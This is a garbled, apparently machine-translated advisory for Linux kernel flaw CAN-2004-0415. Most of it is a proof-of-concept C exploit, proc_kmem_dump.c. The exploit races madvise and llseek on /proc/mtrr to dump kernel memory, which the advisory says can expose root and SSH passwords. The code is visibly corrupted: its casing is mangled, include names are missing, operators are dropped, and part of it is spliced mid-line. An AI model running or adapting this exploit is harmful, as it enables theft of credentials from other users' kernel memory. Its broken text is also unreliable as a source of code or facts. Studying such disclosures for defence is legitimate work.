description:
-------------------------------------------------- ----------------------------
-
CVE (CAN) ID: CAN-2004-0415
Linux is an open source operating system.
Linux kernels have problems when handling 64-bit file offset pointers, and local attackers can use this vulnerability to obtain kernels.
Sensitive information in memory.
Linux kernel provides file processing API for user space applications, generally said that a file can be identified by file name and
The file descriptor for the returning kernel file object is turned on via the Open (2) system call.
One of the file objects is a file offset (file offset), each read and write the location of the OFFSET record
Start reading and writing. In addition, via LSeek (2) system call can also change the current read / write in the file image on the media.
position.
In the nearest Linux, Which is included in two different versions of files to process API: Old 32-bit and new 64-bit (LFS)
API. The ISEC team found that multiple code incorrectly converted from 64-bit size file offset to 32-bit file offset, can result
Unsafe access to file offset member variables.
ISEC discovers most / proc / version (such as / proc / version) leaks that did not initialize kernel memory pages, can be used by attackers
Sensitive information.
Use the / proc / mtrr file to read a large number of kernel memory information, including the root password, OpenSSH login password, and the like. detailed
See the following information:
Http://isec.pl/vulnerabilities/isec-0016-procleaks.txt
testing method:
-------------------------------------------------- ----------------------------
-
caveat
The following procedures (Methods) may have an aggressive, only for security research and teaching. Users are at your own risk!
Paul Starzetz (Paul@starzetz.de) provides the following test methods:
/ *
* gcc -o3 proc_kmem_dump.c -o proc_kmem_dump
*
* CopyRight (C) 2004 ISEC Security Research. All Rights Reserved.
*
* This Program Is for Educational Purposes * ONLY * IT IS Provided "As IS"
* And with welyi, printing, distribution, modification
* WITHOUT Permission of The Author is strictly prohibited.
*
* /
#define _GNu_Source
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
#include
// define machine MEM SIZE IN MB
#define memsize 64
_syscall5 (int, _llseek, uint, fd, ulong, hi, ulong, lo, loff_t *, res,
UINT, WH);
Void Fatal (Const Char * MSG)
{
Printf ("n");
IF (! errno) {
FPrintf (stderr, "fatal error:% SN", MSG);
}
Else {PERROR (MSG);
}
Printf ("n");
Fflush (stdout);
Fflush (stderr);
Exit (31337);
}
Static int CPID, NC, FD, PFD, R = 0, I = 0, CSIZE, FSIZE = 1024 * 1024 * MEMSIZE,
Size = Page_Size, US;
Static Volatile Int Go [2];
Static Loff_T OFF;
Static char * buf = null, * file, child_stack [Page_size];
Static struct TimeVal TV1, TV2;
STATIC STRUCT Stat;
// CHild Close Sempahore & Sleep
INT Start_child (Void * Arg)
{
// unlock Parent & Close Semaphore
Go [0] = 0;
MADVISE (file, csize, madv_dontneed);
Madvise (File, CSIZE, MADV_SEQUENTIAL);
GetTimeOfDay; & TV1, NULL;
READ (PFD, BUF, 0);
GO [0] = 1;
R = MADVISE (file, csize, madv_willneed);
IF (r)
Fatal ("MADVISE");
// parent blocked on mmap_sem? good!
IF (Go [1] == 1 || _llseek (PFD, 0, 0, & Off, Seek_cur) ", Name);
Printf ("nn");
Exit (1);
}
INT Main (int AC, char ** av)
{
IF (AC <2)
USAGE (AV [0]);
// mmap big file not in cache
R = Stat (AV [1], & ST);
IF (r)
Fatal ("stat file");
CSIZE = (st.st_size (page_size-1)) & ~ (page_size-1);
FD = Open (AV [1], O_RDonly);
IF (fd <0)
Fatal ("Open file");
File = mmap (null, csize, prot_read, map_shared, fd, 0);
IF (file == map_failed)
Fatal ("MMAP");
Close (FD);
Printf ("N [ ] mmaped uncached file at% P -% P", File, File Csize;
Fflush (stdout);
PFD = Open ("/ proc / mtrr", o_rdonly);
IF (PFD <0)
Fatal ("open");
FD = Open ("KMem.dat", O_RDWR | O_CREAT | O_TRUNC, 0644);
IF (FD <0)
Fatal ("Open Data");
R = ftruncate (fd, fsize);
IF (r <0)
Fatal ("ftruncate");
Buf = mmap (null, fsize, prot_read | prot_write, map_shared, fd, 0);
IF (buf == map_failed)
Fatal ("MMAP"); Close (FD);
Printf ("N [ ] Mmaped Kernel Data File At% P", BUF);
Fflush (stdout);
// Clone Thread Wait for Child Sleep
NC = nice (0);
CPID = Clone (& start_child, child_stack sizeof (child_stack) -4,
Clone_files | Clone_VM, NULL;
NICE (19-NC);
While (Go [0] == 0) {
i ;
}
// Try to read & Sleep & Move Fpos to Be Negative
GetTimeOfDay; & TV1, NULL;
Go [1] = 1;
R = Read (PFD, BUF, SIZE);
GO [1] = 2;
GetTimeOfDay; & TV2, NULL;
IF (r <0)
Fatal ("Read");
While (Go [0]! = 2) {
i ;
}
US = TV2.tv_sec - TV1.tv_sec;
US * = 1000000;
US = (TV2.tv_usec - tv1.tv_usec);
Printf ("N [ ] Read% D Bytes IN% D Usec", R, US); FFLUSH (STDOUT);
R = _llseek (PFD, 0, 0, & Off, Seek_cur);
IF (r <0) {
Printf ("N [ ] Success, Lseek Fails, Reading Kernel Mem ... N");
Fflush (stdout);
i = 0;
For (;;) {
R = read (PFD, BUF, Page_Size);
IF (r! = Page_size)
Break;
BUF = Page_Size;
i ;
Printf ("R Page% 6D", I); FFLUSH (STDOUT);
}
Printf ("N [ ] DONE, Err =% S, STRERROR (Errno));
Fflush (stdout);
}
Close (PFD);
Printf ("n");
Sleep (1);
Kill (CPID, 9);
Return 0;
} '